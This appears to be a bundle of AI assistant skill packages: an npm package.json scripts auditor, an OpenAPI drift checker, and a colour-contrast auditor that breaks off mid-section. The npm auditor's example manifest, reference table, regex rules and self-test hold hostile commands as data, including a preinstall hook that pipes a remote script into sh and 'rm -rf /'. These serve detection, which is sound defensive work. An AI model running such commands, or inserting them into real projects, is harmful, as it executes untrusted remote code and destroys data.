审计 npm package.json 的 scripts 区安全性与清晰度：危险 install hooks、curl|sh、rm -rf、sudo、内联密钥、未钉死的 npx、不可移植 shell 等。
---
name: package-json-scripts-auditor
description: 审计 npm package.json 的 scripts 区安全性与清晰度：危险 install hooks、curl|sh、rm -rf、sudo、内联密钥、未钉死的 npx、不可移植 shell 等。
---
# package.json Scripts 审计器
你是「package.json Scripts 审计器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# package.json Scripts Auditor
You review the `scripts` block of a Node.js `package.json` and explain what each script does, which ones are risky, and how to make the set clearer and more portable. You cover two audiences: maintainers tidying their own project, and reviewers checking whether a dependency or PR runs anything dangerous at install time. You never run the scripts yourself; you read them.
## Files in this skill
- `scripts/audit_scripts.py` - reads a package.json and reports findings with severity (high, medium, low, info) and a suggested fix (Python 3 standard library only)
- `references/script-conventions.md` - standard script names, lifecycle hooks, naming, and portability conventions
- `references/dangerous-patterns.md` - patterns that deserve a closer look, why they matter, and safer alternatives
- `templates/audit-report.md` - the report shape to return
- `examples/package.json` - a deliberately messy example to practice on
## Workflow
### 1. Collect context
Ask for the full `package.json` (not only `scripts`, since `name`, `private`, `bin`, `workspaces`, and `packageManager` matter), and whether this is the user's own project or a third-party package. Ask which OS the team uses (Windows support changes portability advice).
### 2. Run the auditor
```
python3 scripts/audit_scripts.py path/to/package.json
python3 scripts/audit_scripts.py --json path/to/package.json
python3 scripts/audit_scripts.py --self-test
```
Exit code 0 = no high findings, 1 = at least one high finding, 2 = file error.
### 3. Review manually
The script is pattern-based. Also read each script yourself and check:
- Lifecycle hooks (`preinstall`, `install`, `postinstall`, `prepare`) run automatically for consumers; any network call or file write outside the project there is a red flag.
- Scripts that call other files (`node scripts/setup.js`, `sh ./build.sh`): ask to see those files before calling the package safe.
- Obfuscation (base64, hex strings, `eval`, `node -e` with long one-liners) deserves high suspicion.
### 4. Recommend
Use `references/script-conventions.md` and `references/dangerous-patterns.md` to propose concrete replacements: `rimraf` or `del-cli` instead of `rm -rf`, `cross-env` instead of `VAR=value cmd`, pinned `npx pkg@1.2.3`, `prepublishOnly` running tests, and grouped names like `lint:js`, `test:unit`.
### 5. Report
Fill `templates/audit-report.md`: verdict, findings table, a rewritten `scripts` block, and follow-up questions.
## Rules
- Rate severity by impact: anything that can run remote code or delete files outside the project on install is high.
- Do not accuse authors of malice; describe the behavior and the risk.
- Keep the user's existing script names when renaming would break CI, and say which CI files would need updating if you do suggest a rename.
- Suggest `npm install --ignore-scripts` for auditing untrusted packages, and `npm config set ignore-scripts true` only with the trade-offs explained.
FILE:references/dangerous-patterns.md
# Dangerous and Risky Script Patterns
| Pattern | Example | Why it matters | Safer alternative | Severity |
|---|---|---|---|---|
| Remote script piped to a shell | `curl -fsSL https://x.sh \| sh` | Runs whatever the server returns, unpinned and unverified | Vendor the script, pin by checksum, or use a published package | high |
| Network fetch in install hooks | `"postinstall": "node download.js"` / `wget` | Runs on every consumer's machine at install time | Ship artifacts in the package, or make the step opt-in | high |
| Recursive delete of broad paths | `rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` with unset var | Can wipe data outside the project | `rimraf dist`, explicit relative paths | high |
| `sudo` | `sudo npm i -g x` | Escalates privileges from a script | Never require root in scripts; document manual steps | high |
| `eval` / encoded payloads | `eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"` | Hides what runs | Plain, readable commands in files | high |
| Inline secrets | `API_TOKEN=abc123 node deploy.js` | Leaks in git history and CI logs | Environment variables from a secret store or `.env` not committed | high |
| World-writable permissions | `chmod 777`, `chmod -R a+w` | Lets any user modify files | Minimal permissions (`chmod +x file`) | medium |
| Skipping safety checks | `git commit --no-verify`, `npm publish --force`, `--unsafe-perm` | Bypasses hooks and protections | Fix the failing check instead | medium |
| Unpinned `npx` / `dlx` | `npx create-thing` | Downloads and runs the latest version at run time | `npx create-thing@3.2.1` or add as devDependency | medium |
| Global installs in scripts | `npm i -g typescript` | Changes the user's machine; versions drift | devDependency + local bin | medium |
| Plain HTTP URLs | `curl http://...` | Can be tampered with in transit | HTTPS | medium |
| `git push` / `npm publish` in hooks | `"postbuild": "npm publish"` | Accidental releases | Explicit `release` script run by CI | medium |
| Non-portable shell syntax | `NODE_ENV=prod`, `export`, `cp -r` | Breaks on Windows | `cross-env`, `cpy-cli`, Node scripts | low |
| Placeholder test | `echo "Error: no test specified" && exit 1` | CI fails or tests silently missing | Real test runner | low |
| Very long one-liners | > 200 chars | Hard to review; hides risk | Move to a script file | low |
## Review tips
- For third-party packages: inspect with `npm pack <pkg>` and read the tarball, or install with `--ignore-scripts` first.
- Follow file references: `node scripts/postinstall.js` is only as safe as that file.
- Watch for `prepare` in git dependencies: it runs when installing from a git URL.
FILE:references/script-conventions.md
# npm Script Conventions
## Standard names
| Script | Purpose | Run with |
|---|---|---|
| `start` | Run the app in production mode | `npm start` |
| `dev` | Run with watch / hot reload | `npm run dev` |
| `build` | Produce build output | `npm run build` |
| `test` | Run the test suite (CI default) | `npm test` |
| `lint` | Static checks | `npm run lint` |
| `format` | Apply formatter | `npm run format` |
| `typecheck` | `tsc --noEmit` or similar | `npm run typecheck` |
| `clean` | Remove build artifacts | `npm run clean` |
Use a colon to group variants: `test:unit`, `test:e2e`, `lint:css`, `build:docs`. Use `npm-run-all` / `run-p` / `run-s`, or `npm run a && npm run b`, to compose them.
## Lifecycle hooks
| Hook | Runs when | Notes |
|---|---|---|
| `preinstall`, `install`, `postinstall` | Your package is installed, including as a dependency | Runs on every consumer's machine. Keep empty unless compiling native code. |
| `prepare` | After local `npm install` and before `npm publish`/`npm pack`; also for git dependencies | Good for building or setting up git hooks (e.g. `husky`). |
| `prepublishOnly` | Only before `npm publish` | Put `npm test && npm run build` here. |
| `prepack`, `postpack` | Around `npm pack` / publish | |
| `preX` / `postX` | Automatically before/after any script `X` | Can surprise readers; prefer explicit chaining. pnpm does not run them by default. |
## Portability
- Windows `cmd.exe` does not understand `VAR=value cmd`, `export`, `rm -rf`, `cp -r`, `&` backgrounding, single quotes, or `$VAR`. Use `cross-env`, `rimraf`, `cpy-cli`, `concurrently`, and Node scripts.
- `&&` works in both shells; `;` does not run the same way in `cmd.exe`.
- Prefer local binaries (from `devDependencies`) over globally installed ones; npm adds `node_modules/.bin` to PATH inside scripts.
## Clarity
- One job per script; move long logic (> ~120 characters) into `scripts/*.js` or `*.mjs` files.
- Avoid names that shadow npm commands or each other (`install`, `publish`, `test2`).
- Replace the default `echo "Error: no test specified" && exit 1` with a real test command or remove it.
- Document unusual scripts in the README.
- Set `"private": true` for apps that must never be published.
FILE:templates/audit-report.md
# package.json Scripts Audit
**Package:** `<name>@<version>` | **Owner:** own project / third-party | **Private:** yes/no
**Verdict:** Safe / Needs changes / Do not install until reviewed
**Counts:** high `<n>`, medium `<n>`, low `<n>`, info `<n>`
## Script inventory
| Script | What it does (plain words) | Runs automatically? |
|---|---|---|
| `build` | | no |
| `postinstall` | | yes, on every install |
## Findings
| # | Severity | Script | Pattern | Why it matters | Fix |
|---|---|---|---|---|---|
| 1 | high | | | | |
## Suggested scripts block
```json
{
"scripts": {
}
}
```
## Also check
- Files referenced by scripts: `<list>`
- CI files that call renamed scripts: `<list>`
- devDependencies to add: `<rimraf, cross-env, ...>`
## Questions for the maintainer
1.
FILE:examples/package.json
{
"name": "acme-dashboard",
"version": "0.4.2",
"description": "Internal dashboard (example with deliberately messy scripts for auditing practice)",
"main": "dist/index.js",
"scripts": {
"preinstall": "curl -fsSL http://get.example.com/setup.sh | sh",
"postinstall": "node scripts/fetch-assets.js",
"start": "NODE_ENV=production node dist/index.js",
"dev": "nodemon src/index.ts",
"build": "rm -rf dist && tsc -p .",
"test": "echo \"Error: no test specified\" && exit 1",
"deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js",
"fix-perms": "chmod -R 777 ./uploads",
"commit": "git add -A && git commit --no-verify -m wip",
"gen": "npx create-acme-widget",
"postbuild": "npm publish",
"setup": "sudo npm install -g typescript"
},
"devDependencies": {
"nodemon": "^3.1.0",
"typescript": "^5.6.0"
}
}
FILE:scripts/audit_scripts.py
#!/usr/bin/env python3
"""Audit the "scripts" section of an npm package.json.
Usage:
python3 audit_scripts.py path/to/package.json [--json]
python3 audit_scripts.py --self-test
Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error.
Pattern-based: always read the scripts and any files they call yourself.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys
INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"}
SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3}
# (id, regex, severity, message, fix)
PATTERNS = [
("pipe-to-shell", r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "high",
"Downloads a remote script and pipes it into a shell.",
"Vendor the script, verify a checksum, or use a pinned package."),
("broad-rm", r"\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+(/|~|\$HOME|\$\{?\w+\}?/?)(\s|$|&|;)", "high",
"Recursive delete of a root, home, or variable-based path.",
"Delete an explicit relative path, e.g. `rimraf dist`."),
("sudo", r"(^|[\s;&|])sudo\s", "high",
"Uses sudo inside an npm script.",
"Never require root from scripts; document any manual setup."),
("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer\.from\([^)]*base64", "high",
"Uses eval or decodes an encoded payload, hiding what runs.",
"Replace with plain, readable commands in a script file."),
("inline-secret", r"\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]*=(?!\$)\S+", "high",
"Hard-coded secret value in a script.",
"Read secrets from the environment or a secret manager; rotate the exposed value."),
("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a\+w|o\+w)\b", "medium",
"Makes files world-writable.",
"Use minimal permissions, e.g. `chmod +x bin/cli.js`."),
("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium",
"Bypasses safety checks or hooks.",
"Fix the underlying failure instead of skipping the check."),
("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium",
"Runs a package via npx/dlx without a pinned version.",
"Pin it (`npx pkg@1.2.3`) or add it to devDependencies."),
("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium",
"Installs packages globally from a script.",
"Add as a devDependency and use the local binary."),
("plain-http", r"http://(?!localhost|127\.0\.0\.1)", "medium",
"Fetches over plain HTTP.",
"Use HTTPS."),
("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium",
"Publishes or pushes from a script.",
"Keep releases in an explicit `release` script or CI job."),
("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low",
"Inline env assignment `VAR=value cmd` does not work in Windows cmd.",
"Use `cross-env VAR=value cmd`."),
("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low",
"Unix-only shell command.",
"Use rimraf / cpy-cli / a Node script for Windows support."),
]
PLACEHOLDER_TEST = re.compile(r'no test specified', re.I)
NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I)
FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(\.?/?[\w./-]+\.(?:m?js|cjs|ts|sh|py))")
def audit(pkg):
findings = []
def add(sev, script, rule, msg, fix):
findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix})
scripts = pkg.get("scripts")
if not isinstance(scripts, dict) or not scripts:
add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.")
return findings
for name, cmd in scripts.items():
if not isinstance(cmd, str):
add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.")
continue
for rule, rx, sev, msg, fix in PATTERNS:
if re.search(rx, cmd):
add(sev, name, rule, msg, fix)
if name in INSTALL_HOOKS:
if name == "prepare":
add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.",
"Keep it limited to build or git-hook setup.")
else:
add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.",
"Remove it unless it compiles native code; move setup to an explicit script.")
if NETWORK.search(cmd):
add("high", name, "network-in-install-hook", "Install hook performs network access.",
"Ship assets in the package or make the download opt-in.")
for ref in FILE_REF.findall(cmd):
add("high" if name != "prepare" else "medium", name, "install-hook-runs-file",
f"Install hook executes `{ref}`; its contents decide the real risk.",
f"Read `{ref}` before trusting this package.")
if name == "test" and PLACEHOLDER_TEST.search(cmd):
add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.")
if len(cmd) > 200:
add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.")
if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"):
base = name[3:] if name.startswith("pre") else name[4:]
if base in scripts:
add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).",
f"Consider chaining explicitly inside `{base}`.")
if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name):
add("low", name, "naming", "Script name uses unusual characters or uppercase.",
"Use lowercase names grouped with colons, e.g. `test:unit`.")
for std in ("build", "test", "lint"):
if std not in scripts and not any(k.startswith(std + ":") for k in scripts):
add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.")
if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]:
add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.",
"Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.")
findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or ""))
return findings
def self_test():
pkg = {
"name": "t", "scripts": {
"preinstall": "curl -fsSL http://x.example/s.sh | sh",
"postinstall": "node scripts/setup.js",
"clean": "rm -rf $OUT/",
"deploy": "API_TOKEN=abc123 node deploy.js",
"perm": "chmod -R 777 uploads",
"gen": "npx create-foo",
"gen2": "npx create-foo@1.2.3",
"start": "NODE_ENV=production node index.js",
"test": "echo \"Error: no test specified\" && exit 1",
"setup": "sudo npm i -g typescript",
"build": "tsc",
}}
f = audit(pkg)
rules = {(x["script"], x["rule"]) for x in f}
checks = [
(("preinstall", "pipe-to-shell"), True),
(("preinstall", "network-in-install-hook"), True),
(("preinstall", "plain-http"), True),
(("postinstall", "install-hook-runs-file"), True),
(("clean", "broad-rm"), True),
(("deploy", "inline-secret"), True),
(("perm", "chmod-777"), True),
(("gen", "unpinned-npx"), True),
(("gen2", "unpinned-npx"), False),
(("start", "non-portable-env"), True),
(("test", "placeholder-test"), True),
(("setup", "sudo"), True),
(("setup", "global-install"), True),
(("build", "broad-rm"), False),
]
failed = 0
for key, expected in checks:
ok = (key in rules) == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {key[0]}:{key[1]} expected={'present' if expected else 'absent'}")
clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}})
ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")]
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} clean package has no high/medium/low findings")
total = len(checks) + 1
print(f"\n{total - failed}/{total} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Audit npm package.json scripts.")
p.add_argument("file", nargs="?", help="Path to package.json")
p.add_argument("--json", action="store_true", help="Output JSON")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
p.error("file is required (or use --self-test)")
try:
with open(a.file, encoding="utf-8") as fh:
pkg = json.load(fh)
except (OSError, json.JSONDecodeError) as exc:
print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
return 2
findings = audit(pkg)
counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER}
if a.json:
print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2))
else:
print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}")
for f in findings:
where = f["script"] or "-"
print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}\n{'':22}fix: {f['fix']}")
print("\n" + ", ".join(f"{k} {v}" for k, v in counts.items()))
return 1 if counts["high"] else 0
if __name__ == "__main__":
sys.exit(main())检查 OpenAPI 规范与实现漂移。
---
name: openapi-spec-drift-checker
description: 检查 OpenAPI 规范与实现漂移。
---
# OpenAPI 规范漂移检查器
你是「OpenAPI 规范漂移检查器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# OpenAPI Spec Drift Checker
You help API teams find drift between an OpenAPI 3.x document and the routes their code actually serves. You compare paths and methods, flag missing or extra operations, and call out parameter or response mismatches that break clients. You do not invent endpoints; you only report what the inputs show.
## Files in this skill
- `scripts/check_drift.py` - compares a small OpenAPI snippet to a route list and prints a drift report (Python 3 standard library only)
- `references/openapi-checklist.md` - what to verify in the spec before comparing
- `references/common-drift.md` - frequent causes of drift and how to fix them
- `templates/drift-report.md` - report structure for PRs and release notes
- `examples/openapi-snippet.yaml` - sample OpenAPI fragment for demos
## Workflow
### 1. Collect inputs
Ask for, or infer:
- OpenAPI file (YAML or JSON) or a pasted paths section
- Implemented routes: method + path list from the framework router, generated from code, or a gateway config
- Whether path-parameter names must match exactly (`{id}` vs `{userId}`)
### 2. Normalize
Lowercase methods. Strip trailing slashes. Treat `/users/{id}` and `/users/{userId}` as the same path shape unless the team requires exact parameter names.
### 3. Run the checker
```
python3 scripts/check_drift.py --spec examples/openapi-snippet.yaml --routes examples/routes.txt
python3 scripts/check_drift.py --self-test
```
If routes are not in a file yet, help the user extract them from code first.
### 4. Classify findings
- **missing_in_code**: in OpenAPI, not implemented
- **missing_in_spec**: implemented, not in OpenAPI
- **method_mismatch**: path exists but verbs differ
- **param_shape_diff**: same path pattern, different parameter names (optional strict mode)
### 5. Answer
Return a short summary counts table, then each finding with severity (high/medium/low) and a suggested fix. Use `templates/drift-report.md` for PR comments.
## Rules
- Prefer documenting reality when the code is intentional and the spec is stale; prefer implementing when the spec is the contract already published to clients.
- Never claim security review was done; only report structural drift.
- If the OpenAPI cannot be parsed, stop and show the parse error.
FILE:references/openapi-checklist.md
# OpenAPI pre-compare checklist
Before running drift checks, confirm the spec is coherent:
1. **openapi** field is `3.0.x` or `3.1.x`.
2. **paths** exist and use leading `/`.
3. Every operation has an HTTP method (`get`, `post`, `put`, `patch`, `delete`, `head`, `options`).
4. Path parameters declared in the path (`{id}`) also appear under `parameters` with `in: path` and `required: true`.
5. `$ref` targets resolve (or you are comparing a resolved/bundled document).
6. Servers URL base path is understood: if `servers[].url` includes `/api/v1`, routes may be listed with or without that prefix—pick one convention and stick to it for the compare.
7. Deprecated operations are still listed until removed from code; mark them in the report rather than ignoring them.
## Minimal paths shape
```yaml
paths:
/pets:
get:
summary: List pets
post:
summary: Create pet
/pets/{petId}:
get:
parameters:
- name: petId
in: path
required: true
schema: { type: string }
```
FILE:references/common-drift.md
# Common OpenAPI drift
| Symptom | Likely cause | Fix |
| --- | --- | --- |
| Spec has `GET /users`, code has none | Spec written ahead of implementation | Implement or remove from published spec |
| Code has `POST /users/{id}/reset`, missing in spec | Hotfix shipped without doc update | Add operation; bump minor if public |
| Spec `PUT`, code `PATCH` | Partial-update semantics changed | Align method; note breaking if clients call PUT |
| `{userId}` vs `{id}` | Framework auto-names vs hand-written spec | Normalize in compare; document naming rule |
| Trailing slash only in code | Router is slash-tolerant | Strip for compare; pick canonical form in spec |
| Base path `/api` only in gateway | Spec servers omit gateway prefix | Strip or add the same prefix on both sides |
| Webhooks / callbacks only in spec | Not HTTP routes | Exclude from route compare |
| File upload route undocumented | Multipart added late | Document `multipart/form-data` requestBody |
## Severity guide
- **High**: public clients already call the operation; method or path missing on either side.
- **Medium**: internal-only route missing from spec; param rename with aliases.
- **Low**: trailing slash, optional HEAD/OPTIONS noise, deprecated-but-present.
FILE:templates/drift-report.md
# OpenAPI drift report
- **Spec**: <path or URL>
- **Routes source**: <router dump / gateway / manual>
- **Compared at**: <ISO timestamp>
- **Summary**: missing_in_code=<n>, missing_in_spec=<n>, method_mismatch=<n>, param_shape_diff=<n>
## Findings
| Severity | Kind | Spec | Code | Notes |
| --- | --- | --- | --- | --- |
| high | missing_in_code | `GET /pets/{petId}` | — | Implement or unpublish |
| medium | missing_in_spec | — | `POST /pets/{petId}/adopt` | Document before release |
## Decision
- [ ] Update OpenAPI
- [ ] Update code
- [ ] Accept as known exception (list why)
## Follow-ups
- [ ]
FILE:examples/openapi-snippet.yaml
openapi: 3.0.3
info:
title: Pets demo
version: 0.1.0
paths:
/pets:
get:
summary: List pets
operationId: listPets
post:
summary: Create pet
operationId: createPet
/pets/{petId}:
get:
summary: Get pet by id
operationId: getPet
parameters:
- name: petId
in: path
required: true
schema:
type: string
delete:
summary: Delete pet
operationId: deletePet
parameters:
- name: petId
in: path
required: true
schema:
type: string
/health:
get:
summary: Health check
operationId: health
FILE:scripts/check_drift.py
#!/usr/bin/env python3
"""Compare OpenAPI paths to an implemented route list.
Usage:
python3 check_drift.py --spec openapi.yaml --routes routes.txt
python3 check_drift.py --spec openapi.yaml --route 'GET /pets' --route 'POST /pets'
python3 check_drift.py --self-test
Route file format: one "METHOD /path" per line. Comments (#) and blank lines ignored.
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import re
import sys
from typing import Dict, List, Set, Tuple
try:
import yaml # type: ignore
except ImportError:
yaml = None
PathKey = str # normalized path template
Method = str
def normalize_path(path: str) -> str:
path = path.strip()
if not path.startswith("/"):
path = "/" + path
if len(path) > 1 and path.endswith("/"):
path = path.rstrip("/")
# unify parameter names to {}
return re.sub(r"\{[^}]+\}", "{}", path)
def normalize_method(m: str) -> str:
return m.strip().upper()
def parse_routes(lines: List[str]) -> Dict[PathKey, Set[Method]]:
out: Dict[PathKey, Set[Method]] = {}
for raw in lines:
line = raw.split("#", 1)[0].strip()
if not line:
continue
parts = line.split()
if len(parts) < 2:
raise ValueError(f"Bad route line: {raw!r}")
method, path = normalize_method(parts[0]), normalize_path(parts[1])
out.setdefault(path, set()).add(method)
return out
def _parse_openapi_json(text: str) -> dict:
return json.loads(text)
def _parse_openapi_yaml_simple(text: str) -> dict:
"""Minimal YAML subset parser for simple OpenAPI path maps when PyYAML is absent.
Supports the examples shipped with this skill (no anchors, no multiline).
Prefer PyYAML when installed.
"""
# Very small fallback: extract path keys and methods via regex for our demos.
paths: Dict[str, dict] = {}
current_path = None
for raw in text.splitlines():
if raw.startswith(" /") and raw.rstrip().endswith(":"):
current_path = raw.strip()[:-1]
paths[current_path] = {}
continue
if current_path and re.match(r"^ (get|post|put|patch|delete|head|options):", raw):
method = raw.strip().split(":", 1)[0]
paths[current_path][method] = {}
if not paths:
raise ValueError("Could not parse OpenAPI YAML without PyYAML; install pyyaml or pass JSON.")
return {"paths": paths}
def load_spec(path: str) -> Dict[PathKey, Set[Method]]:
text = open(path, encoding="utf-8").read()
if path.endswith(".json"):
data = _parse_openapi_json(text)
else:
if yaml is not None:
data = yaml.safe_load(text)
else:
# try JSON first, then simple YAML
try:
data = _parse_openapi_json(text)
except json.JSONDecodeError:
data = _parse_openapi_yaml_simple(text)
paths = data.get("paths") or {}
out: Dict[PathKey, Set[Method]] = {}
http = {"get", "post", "put", "patch", "delete", "head", "options", "trace"}
for p, item in paths.items():
if not isinstance(item, dict):
continue
methods = {normalize_method(m) for m in item if m.lower() in http}
if methods:
out[normalize_path(p)] = methods
return out
def compare(spec: Dict[PathKey, Set[Method]], code: Dict[PathKey, Set[Method]]) -> List[dict]:
findings = []
all_paths = set(spec) | set(code)
for p in sorted(all_paths):
s = spec.get(p, set())
c = code.get(p, set())
if s and not c:
for m in sorted(s):
findings.append({"kind": "missing_in_code", "severity": "high", "method": m, "path": p})
elif c and not s:
for m in sorted(c):
findings.append({"kind": "missing_in_spec", "severity": "medium", "method": m, "path": p})
else:
only_spec = s - c
only_code = c - s
for m in sorted(only_spec):
findings.append({"kind": "method_mismatch", "severity": "high", "method": m, "path": p, "side": "spec_only"})
for m in sorted(only_code):
findings.append({"kind": "method_mismatch", "severity": "high", "method": m, "path": p, "side": "code_only"})
return findings
def format_report(findings: List[dict]) -> str:
counts: Dict[str, int] = {}
for f in findings:
counts[f["kind"]] = counts.get(f["kind"], 0) + 1
lines = ["Drift summary: " + ", ".join(f"{k}={v}" for k, v in sorted(counts.items()))]
if not findings:
lines.append("No drift found.")
return "\n".join(lines)
for f in findings:
side = f.get("side", "")
extra = f" ({side})" if side else ""
lines.append(f"- [{f['severity']}] {f['kind']}: {f['method']} {f['path']}{extra}")
return "\n".join(lines)
def self_test() -> int:
spec = {
normalize_path("/pets"): {"GET", "POST"},
normalize_path("/pets/{petId}"): {"GET", "DELETE"},
normalize_path("/health"): {"GET"},
}
code = {
normalize_path("/pets"): {"GET", "POST"},
normalize_path("/pets/{id}"): {"GET"}, # same shape, missing DELETE
normalize_path("/pets/{id}/adopt"): {"POST"}, # extra
}
findings = compare(spec, code)
kinds = sorted(f["kind"] + ":" + f["method"] + ":" + f["path"] for f in findings)
cases = [
("missing delete on pet", any(f["kind"] == "method_mismatch" and f["method"] == "DELETE" for f in findings), True),
("extra adopt route", any(f["kind"] == "missing_in_spec" and f["path"].endswith("/adopt") for f in findings), True),
("health missing in code", any(f["kind"] == "missing_in_code" and f["path"] == "/health" for f in findings), True),
("list pets matched", not any(f["path"] == "/pets" and f["kind"] == "missing_in_code" for f in findings), True),
("normalize params", normalize_path("/pets/{petId}") == normalize_path("/pets/{id}"), True),
("normalize slash", normalize_path("/pets/") == "/pets", True),
("parse routes", parse_routes(["GET /pets", "POST /pets # create"]) == {"/pets": {"GET", "POST"}}, True),
("empty compare", compare({"/x": {"GET"}}, {"/x": {"GET"}}) == [], True),
]
# parse simple yaml fallback
sample = """openapi: 3.0.3\npaths:\n /pets:\n get:\n summary: x\n post:\n summary: y\n"""
parsed = _parse_openapi_yaml_simple(sample)
cases.append(("yaml fallback paths", "get" in parsed["paths"]["/pets"] and "post" in parsed["paths"]["/pets"], True))
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
# also assert finding count sanity
ok = len(findings) >= 3
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} findings_count>={3}: got={len(findings)}")
print(f"\n{len(cases)+1 - failed}/{len(cases)+1} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Compare OpenAPI paths to implemented routes.")
p.add_argument("--spec", help="OpenAPI YAML or JSON file")
p.add_argument("--routes", help="File with METHOD /path lines")
p.add_argument("--route", action="append", default=[], help="Single METHOD /path (repeatable)")
p.add_argument("--json", action="store_true", help="Print findings as JSON")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.spec:
p.error("--spec is required (or use --self-test)")
route_lines: List[str] = list(a.route)
if a.routes:
route_lines.extend(open(a.routes, encoding="utf-8").read().splitlines())
if not route_lines:
p.error("provide --routes and/or --route")
spec = load_spec(a.spec)
code = parse_routes(route_lines)
findings = compare(spec, code)
if a.json:
print(json.dumps(findings, indent=2))
else:
print(format_report(findings))
return 0 if not findings else 2
if __name__ == "__main__":
sys.exit(main())审计颜色对比是否满足无障碍标准。
---
name: accessibility-color-contrast-auditor
description: 审计颜色对比是否满足无障碍标准。
---
# 无障碍颜色对比审计器
你是「无障碍颜色对比审计器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Accessibility Color Contrast Auditor
You help designers and frontend engineers check whether text and UI colors meet WCAG 2.x contrast ratios. You compute relative luminance contrast for foreground/background pairs, map results to AA/AAA for normal and large text, and flag pairs that rely on hue alone for meaning.
## Files in this skill
- `scripts/contrast_check.py` - computes contrast ratios for hex pairs and prints a pass table (Python 3 standard library only)
- `references/wcag-contrast.md` - thresholds and what counts as large text
- `references/color-blindness-notes.md` - why hue-only status colors fail real users
- `templates/audit-table.md` - markdown table for design reviews
- `examples/palette.json` - sample token pairs
## Workflow
### 1. Collect pairs
Ask for hex colors (`#RGB`, `#RRGGBB`, or `#RRGGBBAA` with alpha ignored against an opaque background). Note which is text/icon (fg) and which is surface (bg).
### 2. Run the checker
```
python3 scripts/contrast_check.py --fg '#1a1a1a' --bg '#ffffff'
python3 scripts/contrast_check.py --palette examples/palette.json
python3 scripts/contrast_check.py --self-test
```
### 3. Interpret
- Normal text AA needs **4.5:1**; AAA needs **7:1**.
- Large text (18pt+ or 14pt+ bold) AA needs **3:1**; AAA needs **4.5:1**.
- Non-text UI components / graphical objects that convey meaning need **3:1** against adjacent colors (WCAG 2.1 SC 1.4.11).
### 4. Answer
For each pair: ratio (one decimal), AA/AAA normal, AA/AAA large, and a short fix suggestion (darken fg, lighten bg, or add weight/size). Mention color-blindness if status depends on red vs green alone.
## Rules
- Use the WCAG relative luminance formula; do not approximate with "eyeballing".
- Ignore marketing claims about "accessible mode" unless ratios are shown.
- If alpha blending is involved, ask for the effective flattened hex on the real background.
FILE:references/wcag-contrast.md
# WCAG contrast thresholds (WCAG 2.1 / 2.2)
| Content | AA | AAA |
| --- | --- | --- |
| Normal text | 4.5:1 | 7:1 |
| Large text | 3:1 | 4.5:1 |
| UI components & graphical objects (1.4.11) | 3:1 | — |
## Large text
